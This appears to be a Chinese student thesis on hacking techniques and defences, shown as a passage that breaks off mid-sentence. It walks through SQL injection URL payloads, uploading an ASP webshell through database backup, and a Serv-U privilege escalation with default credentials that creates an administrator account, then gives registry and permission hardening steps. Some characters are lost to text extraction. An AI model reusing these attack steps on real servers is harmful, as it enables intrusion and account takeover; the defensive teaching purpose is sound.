《毕业论文 黑客技术与网络安全.doc》由会员分享,可在线阅读,更多相关《毕业论文 黑客技术与网络安全.doc(47页珍藏版)》请在三一办公上搜索。
1、 黑客技术与网络安全专 业 名 称: 计算机科学与技术 年 级 班 别: 061 姓 名: 指 导 教 师: 20010 年 5 月摘要计算机网络是现代通信技术与计算机技术相结合的产物。计算机网络把分布在不同地理区域的计算机与专门的外部设备用通信线路互连成一个规模大、功能强的网络系统,从而使众多的计算机可以方便地互相传递信息,共享硬件、软件、数据信息等资源。但是,就是由于这些方便给我们带来了巨大的隐患-由于黑客攻击带来的网络安全问题,使我们的信息和数据甚至国家的政治、经济、社会、和军事存在安全安全隐患。本文主要研究一些最近网络上黑客攻击手法,介绍他们攻击的原理,并针对他们攻击的方式提出抵制其的
2、方法。用来提高大家的网络安全防范能力和安全防范意识,使人们在使用电脑的时候有一个安全健康的网络环境,也是自己对自己的一些重要信息放心。但是,可能由于时间的不足,收集的质料太少,有一些地方没有提到,论文有许多的不足,我会多多收集这方面的质料多考虑这些不足来使自己的文章达到更加的完善。关键词:黑客;黑客技术;网络;网络安全ABSTRACTWith the development of the hacker technology, network security technology engendered.when we work on the network security ,we must
3、research the invaded method and the striking technology of the hacker.So, this article mainly studies on hacking techniques to explain network security, mainly to expose the principle of hacking attack means should be introduced with safety precautions. Attack by many examples and examples of preven
4、tion network security people to grasp the basic prevention techniques to understand the principles and methods of hacking and the harm so as to improve the awareness of network security and enhanced network security capabilities.This article mainly to some recent research network, theyre got to the
5、attack, and they strike to boycott the way. to improve the preventive capacity of the network security and safety awareness and to the computer is a safe environment, health network is also to some important information. however, that may be due to the time of collection of quality, there are some p
6、oints was not mentioned, the essay has manyKeywords: hacker; hacker technology; network;Network Security目 录1 绪论51.1引言51.2 内容框架52 脚本漏洞72.1 脚本漏洞的形成原因72.2脚本漏洞之黑客工具的分析92.3 脚本漏洞的危害142.4 Asp脚本漏洞的安全防范192.5PHP注入原理262.6PHP实例272.7注入的安全防范292.8其它脚本漏洞313网络嗅探与缓冲区溢出293.1 缓冲区溢出293.2网络嗅探314 个人PC机安全344.1 木马原理344.2 网页
7、木马354.3 病毒364.4 漏洞385 黑客最新手段及防范415.1 网站旁注415.2 密码破解425.3 社会工程学449 总结46参考文献47致谢48黑客技术与网络安全1 绪论随着计算机网络技术的飞速发展,互联网已经深入到社会的方方面面,它对人们的工作方式、生活方式甚至思维方式都产生了巨大影响。毫不夸张地说,互联网已经成为现代人生活中不可或缺的一部分。然而,人们在享受互联网所带来的愉悦的同时,也不可避免地受到一系列黑客的攻击和网络问题的困扰:网络上的大量虚假、非法信息,病毒日益猖狂,黑客攻击无孔不入这些都严重危及到了个人、企事业单位乃至国家的信息安全。所以,研究如何采取有效措施来保护
8、自己的重要信息变得越来越有必要,本文就是在这样一个大背景下编撰而成的。本文系统介绍了黑客技术的基础理论,从而保护自己的网络安全。在内容安排上,将理论知识和实际应用有机结合,力求在全面、系统介绍黑客技术的基本原理及应用的同时,让我们能更好的保护我们的网络安全进行一个全面、清晰的了解。1.1引言计算机网络是现代通信技术与计算机技术相结合的产物。所谓计算机网络,就是把分布在不同地理区域的计算机与专门的外部设备用通信线路互连成一个规模大、功能强的网络系统,从而使众多的计算机可以方便地互相传递信息,共享硬件、软件、数据信息等资源。从世界上第一台计算机诞生到今天互联网的日益普及,计算机的发展速度可谓突飞猛
9、进,从而也把人类文明带入数码时代。计算机网络的出现,使人们在获取和传递信息时,又多了一种选择,而且是一种能够提供空前“自由化”的选择,它使信息的传播速度、质量与范围在时间和空间上有了质的飞跃,从而使人们的许多梦想变成了现实。但是,辩证唯物主义认为,任何事物都是矛盾对立的统一体,尤其是对于正在发展中的新事物来说,更是如此。计算机网络也不例外。人们在享受着网络传输带给我们便利的同时,也对日露端倪的网络负面影响愈发担忧。开放的信息系统必然存在众多潜在的安全隐患,黑客和反黑客、破坏和反破坏的斗争仍将继续。在这样的斗争中,安全技术作为一个独特的领域越来越受到全球网络建设者的关注。随着网上的在线交易、互联
10、星空冲值、网络游戏的发展、电子商务的发展,网络安全越来越关系着广大用户的切身利益。目前网络在世界经济社会中占据着越来越重要的地位,已经不只为了信息和数据的安全,甚至已经渗透到国家的政治、经济、社会、和军事之中。网络黑客,始终给人们蒙上了一层神秘的面纱,其实他们只不过是一群计算机技术的狂热爱好者,仅仅是利用了自己的技术技巧以及系统的漏洞和用户的弱点。本文主要批露目前流行的黑客攻击技术、揭露黑客技术的原理、介绍针对攻击的安全防范方法,用来提高大家的网络安全防范能力和安全防范意识。1.2内容框架我写的论文主要是通过对黑客技术的介绍来让大家了解黑客攻击的方式。攻与防是分不开的,我们只有在了解其攻击方式
11、和原理后,才能真正更好的防御。本文主要分为两个大体内容:网站服务器安全和个人pc机安全,其中网站服务器安全主要介绍各种网站服务器的入侵方式和防范方法:如脚本漏洞入侵、网络旁注、远程溢出、网络嗅探、社会工程学、ddos拒绝服务攻击等个人pc机安全:主要讲叙黑客入侵个人机常用的方法及防范,如木马技术、溢出、弱口令扫描、ipc管道、以及黑客到底想用我们的个人机干什么。2脚本漏洞2.1脚本漏洞的形成原因 随着网络经济的复舒,开始越来越多的网站涌现出来,随着脚本漏洞的挖掘,黑客也越来越猖狂,并且越来越低龄化和傻瓜化。“你只要会用一个工具就可以黑站”,这就是脚本漏洞利的特点。这些漏洞的主要成因是编程程序员
12、的素质,往往在编写asp或php等程序时候对字符的过滤不严密,对注入漏洞不了解,或者某个参数忘记检查导致的。由于编写网页程序这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。我们看一个例子:在本机建一个基于iis的asp程序http:/localhost/test/show
13、.asp?ID=3,将这个网址提交到服务器后,服务器将进行类似Select * from 表名 where 字段=&ID的查询(ID即客户端提交的参数,本例即是3),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址:http:/localhost/test/show.asp?ID=3 and user0,这时,服务器运行Select * from 表名 where 字段=444 and user0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:错误类型:Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)M
14、icrosoftODBC SQL Server DriverSQL Server将 nvarchar 值 test 转换为数据类型为 int 的列时发生语法错误。/test/show.asp, 第 34 行从这个出错信息中,我们可以获得以下信息:该站使用MSSQL数据库,用ODBC连接,连接帐号名为:test。所谓SQL注入,就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当知道网站管理员帐号存在表login中,管理员帐号名为admin 想知道admi
15、n的密码,这里接着从客户端提交这样一个网址:http:/localhost/test/show.asp?ID=4 and (Select password from login where user_name=admin)0,返回的出错信息如下:错误类型:Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)MicrosoftODBC SQL Server DriverSQL Server将 varchar 值 admin888 转换为数据类型为 int 的列时发生语法错误。/test/show.asp, 第 34 行现在出来了“admi
16、n888”就是管理员的密码!得到这个密码,这时您就可以用这个帐号和密码接管人家的网站了!当然我们并不知道帐号就在表login中,而且也不知道管理员名为admin,但这些不容难办到,可以写个工具进行猜解,速度很快就可以找到你想要的东西了。前面是有关mssql数据库的注入基础,现在再看一看acceess数据库的注入基础:首先进行浏览器的设置,以保证手工注入时能返回出错信息。其操作步骤为:右键单击浏览器图标,选择“属性”,在弹出来的对话框中选择“高级”选项卡,接着去掉“显示友好的HTTP错误信息”前面的钩,最后点击“应用”按钮即可。对于sql注入得先找到注入点,注入点的判断方法为:通常打开一个类似如
17、果出现错误提示,则说明可能存在注入漏洞,再输入 and 1=1如果存在SQL注入漏洞,就可以查询数据库,1=1是一个恒等式可以忽略,因此会返回一个正常的页面,此页面和 and 1=2,1=2为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下所示的信息:Microsoft vbscript 编译器错误 错误码率 800a03f6 缺少End/iishelp/common/500-100.asp,行242ADODB.Field 错误 800a0bcd一般出现以上信息就可以确定存在sql注入漏洞了。下面看一下sql注入的过程分析:如:打开:http:/hostlocal/test2/list
18、.asp?id=17在其后面加为http:/hostlocal/test2/list.asp?id=17出错!显示为:“数据库出错”。那么接下来我们便进行如下操作:1猜管理员的表:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)/min(id)返回表中ID最小值返回文章证明,有一个admin的表;如果没有返回文章,证明出错不存在admin这个表。2猜用户的字段名:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin w
19、here user=aaa)返回错误信息,表示没有user这个用户段,再来:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=aaa)没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在username字段,只是用户名不是aaa3猜密码的字段名:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd=aaa)返回错误信息表示没有passwd这个密码
20、字段名。再来:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa)没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在password这个字段,只是密码不是aaa4猜用户字段名长度: http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)5)正确;http:/hostlocal/test2/list.asp?id=17 and
21、1=(select min(id) from admin where len(username)5)正确;http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)10)正确密码长度也是大于5小于10;http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)密码长度为7位。6猜用户名:http:/hostlocal/test2/list.asp?id
22、=17 and 1=(select min(id) from admin where mid(username,1,1)=a)用户名第一个字母是:a;猜用户名第二位:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)=b)以此类推!7猜密码:猜密码跟猜用户名一样!2.2脚本漏洞带来的危害通过上面说明,我们已经对asp+sql注入有一个理性的认识,那么这种攻击到底会给我们带来什么样的危害呢?先来看一下什么叫webshell。webshell是一个由相应脚本语言编
23、写的具有在线编辑、删除、新增文件、执行程序及sql语句等功能的脚本文件,如老兵助手asp木马,海阳顶端asp木马就是这样的文件。黑客通常通过站点的sql注入漏洞进入管理员的后台,再通过后台上传过滤不严漏洞进行直接上传asp木马,或通过改扩展名或抓包欺骗等手段进行asp木马上传,或通过改变asp木马扩展名为图片扩展名后再进行,上传后通过数据库备分获得asp木马。那么上传后的木马会对我们的服务器或网站的文件造成什么样的影响呢?我们来看下图22就知道了。 22海洋顶端ASP木马 23老兵助手暗室ASP木马Asp木马可以执行文件的打开、编辑、复制、上传、下载等文件常用的操作命令,甚至可以执行net u
24、ser 、netstat an、dir 等guest用户命令,有数据库的连接操作,这些都危害到了我们服务器或网站的安全。可以说完全可以当作自己的机器来操作,当然不要说网站权限的编辑了,通过各种提权的方式可以达到拿下整台服务器的权限。那么黑客们主要利用我们的网站或服务器来干什么呢?现阶段网络上最流行的就是拿下虚拟主机的权限在服务器上的网站里进行挂马,网站挂马主要是把网页木马挂在网站上,现在比较精典的挂马代码是:,这段代码比较短,通常他们将这段代码加在被入侵服务器的主页里,当用户打开被挂马的网站时就会悄悄地打开另一个代码中的“网马地址”并执行“网马地址”中的一个exe文件,从而使用户的机器感染木马
25、,被挂马者所控制,那么挂马者控制我们的机器来干什么呢?这将在后面的“个人pc机安全”中进行介绍。从挂马代码我们可以看出,其实就是转而执行了一个隐藏的框架,但带来的危害却是不可预料的。那么我们要怎么来预防这一切呢?首先是对服务器进行安全设置:现在asp站点一般都是基于iis环境搭建的,很多站点都是放在一个虚拟机上的,服务器的安全设置就得靠空间商的责任心和安全意识了,现在我在本机搭建一个windows2003+iis+mssql+serv-u的环境。服务器的设置主要防范非法用户的asp木马权限和通过asp木马进行提权的防范,当然,网站的注入点就得靠网站管理人员进行防范了。我在网上下载了一个整站程序
26、:xxx商务网站,并在本地搭建测试完毕,下面来演示一下整个注入漏洞带来的危害以及我们对服务器的安全设置和对整站程序进行防注入的操作:搭建情况如下图24: 24搭建的网站然后我们对站点进行sql注入漏洞检测。用工具扫描一下结果如下图25: 25 sql注入漏洞检测工具在search.asp文件存在注入点(红字部分为注入点链接),我们去看一下syjh目录下search.asp文件的源代码,在sql查询语句处,如下:if typeid then sql=select * from info where showname like %&request(txtitle)&% and flag=1 and
27、 type like %&request(type)&% and sortid=+cstr(sortid)+ and typeid=&request(typeid)& order by dateandtime desc else sql=select * from info where showname like %&request(txtitle)&% and flag=1 and type like %&request(type)&% and sortid=+cstr(sortid)+ order by dateandtime desc end if多处id变量未过虑的情况下直接使用,从而
28、导至sql注入漏洞。下面进一步用专门的测试软件检测注入清况,如图26: 26检测工具检测图结果很糟糕,破解出的密码还未使用md5进行加密,直接得到管理员用户名admin和密码rose,并且这套系统在网上很多商务网站都有下载。接下来我们看进一步的操作,使用管理员和用户名进行登录如图27: 27登录界面进入后台后,可以看到“备份网站数据库”这一项,我们可以在后台的“广告服务管理”处上传一个广告,当然是把asp木马扩展名改为gif然后再上传。上传后查看地址为:http:/localhost/yqlj/picture/2006416180836.gif,然后通过数据库备分,将2006416180836
29、.gif文件备分为up.asp文件,就导出了asp木马,地址为:http:/localhost/admin/System/dbback/up.asp其实这套系统数据库是.asp格式的,还可以采用写入一句话的形式上传一个asp木马。打开http:/localhost/admin/System/dbback/up.asp输入密码,查看“服务器组件探针”信息: MSWC.AdRotator (广告轮换组件) MSWC.BrowserType (浏览器信息组件) Version: 0.0; About: unknown MSWC.NextLink (内容链接库组件) About: MSWC 内容链接对
30、象库(Release),内部版本号 Mar 24 2005 日期 15:07:09 MSWC.Tools MSWC.Status MSWC.Counters (计数器组件) IISSample.ContentRotator (内容轮显组件) IISSample.PageCounter MSWC.PermissionChecker (权限检测组件) Adodb.Connection (ADO 数据对象组件) Version: 2.8; SoftArtisans.FileUp (SA-FileUp 文件上传组件) SoftArtisans.FileManager (SoftArtisans 文件管
31、理组件) LyfUpload.UploadFile (刘云峰的文件上传组件组件) Persits.Upload.1 (ASPUpload 文件上传组件) W3.Upload (Dimac 文件上传组件) JMail.SmtpMail (Dimac JMail 邮件收发组件) CDONTS.NewMail (虚拟 SMTP 发信组件) Persits.MailSender (ASPemail 发信组件) SMTPsvg.Mailer (ASPmail 发信组件) DkQmail.Qmail (dkQmail 发信组件) Geocel.Mailer (Geocel 发信组件) IISmail.Ii
32、smail.1 (IISmail 发信组件) SmtpMail.SmtpMail.1 (SmtpMail 发信组件) SoftArtisans.ImageGen (SA 的图像读写组件) W3Image.Image (Dimac 的图像读写组件组件) Scripting.FileSystemObject (FSO组件) Adodb.Stream (Stream 流组件) Shell.Application WScript.Shell Wscript.Network 上面的组件中,有两个是很重要的,就是“Shell.Application”和“WScript.Shell”,这两个组件可以支持运行
33、一些cmd命令。这是按照默认情况下搭建的网站,也就是没有做一些安全措施,平常空间商所采用的搭建方式,在这种情况下,我们上传的asp木马可以访问每个磁盘上的内客,并且可以进行修改,在windows2003环境下不可以直接用wscript.shell组件执行命令cmd命令,因为我们的身分是iis guest权限,但上传一个cmd.exe到目录下,再执行cmd命令如下图28: 28上传cmd.exe图将cmd.exe传到d盘下的,所以路径我们调用的d:cmd.exe,通过这种上传一个cmd.exe的方法突破对服务器上cmd.exe的限制。当然我们不通执行“net user 用户名 密码 /add”种
34、执行“net localgroup administrators 用户名 /add”来增加一个用户名并添为管理员。当然得在asp木马中提升权限,因为现在只是guest权限,我们引用网上最常见的serv-u本地溢出提升权限,当然方法还有很多。上传一个su.exe-serv-u ftp本地溢出工具,serv-u是目前服务器用得最多的ftp工具,但serv-u在目前版本中仍存在这个漏洞,应该不算是漏洞,它默认了一个内置管理员帐户,用户名为:localadministrator密码为:#l$ak#.lk;0P 本地端口默认为:43958,我们知道ftp有一个执行权限时可以采用 quote exec s
35、ite “命令”,来执行系统命令,如增加管理员帐户等。一般的人都未修改这个本地用户,所以导至了黑客们的可乘之机。这里我们执行d:su.exe 43958 “net user mghk rose /add”和 d:su.exe 43958 “net localgroup administrators mghk /add”便增加了一个管理员帐户,执行时的信息如下:Serv-u 3.x Local Exploit by xiaolu USER LocalAdministrator PASS #l$ak#.lk;0P SITE MAINTENANCE * + Creating New Domain.
36、200-DomainID=2 220 Domain settings saved * + Domain xl:2 created + Creating Evil User USER xl PASS 111111 230 User logged in, proceed. * + Now Executing: net localgroup administrators mghk /add 控制面板添加或删除程序添加/删除Windows组件 应用程序 ASP.NET(可选)|启用网络 COM+ 访问(必选)|Internet 信息服务(IIS)Internet 信息服务管理器(必选)|公用文件(必选
37、)|万维网服务Active Server pages(必选)|Internet 数据连接器(可选)|WebDAV 发布(可选)|万维网服务(必选)|在服务器端的包含文件(可选),然后单击“确定”下一步安装。(2)然后我们要修改一下asp木马调用的三个组件:FileSystemObject组件。FileSystemObject可以对文件进行常规操作,可以通过修改注册表,将此组件改名,来防止此类木马的危害。HKEY_CLASSES_ROOTScripting.FileSystemObject改名为其它的名字,如:改为FileSystemObject_ChangeName,自己以后调用的时候使用这个
38、就可以正常调用此组件了,也要将clsid值也改一下,HKEY_CLASSES_ROOTScripting.FileSystemObjectCLSID项目的值,也可以将其删除,来防止此类木马的危害。注销此组件命令:RegSrv32 /u C:WINNTSYSTEMscrrun.dll ,禁止Guest用户使用scrrun.dll来防止调用此组件。使用命令:cacls C:WINNTsystem32scrrun.dll /e /d guestsWScript.Shell组件。WScript.Shell可以调用系统内核运行DOS基本命令,可以通过修改注册表,将此组件改名,来防止此类木马的危害。HKE
39、Y_CLASSES_ROOTWScript.Shell及HKEY_CLASSES_ROOTWScript.Shell.1改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName。自己以后调用的时候使用这个就可以正常调用此组件了,也要将clsid值也改一下HKEY_CLASSES_ROOTWScript.ShellCLSIDxiangmudezhiHKEY_CLASSES_ROOTWScript.Shell.1CLSID项目的值,也可以将其删除,来防止此类木马的危害。Shell.Application组件。Shell.App
40、lication可以调用系统内核运行DOS基本命令,可以通过修改注册表,将此组件改名,来防止此类木马的危害。HKEY_CLASSES_ROOTShell.Application及HKEY_CLASSES_ROOTShell.Application.1改名为其它的名字,如:改为Shell.Application_ChangeName或Shell.Application.1_ChangeName自己以后调用的时候使用这个就可以正常调用此组件了。也要将clsid值也改一下HKEY_CLASSES_ROOTShell.ApplicationCLSID项目的值。HKEY_CLASSES_ROOTShell.ApplicationCLSID项目的值,也可以将其删除,来防止此类木马的危害,禁止Guest用户使用shell32.dll来防止调用此组件。使用命令:cacls C:WINNTsystem32shell32.dll /e /d guests(注:操作均需要重新启动WEB服务后才会生效)。(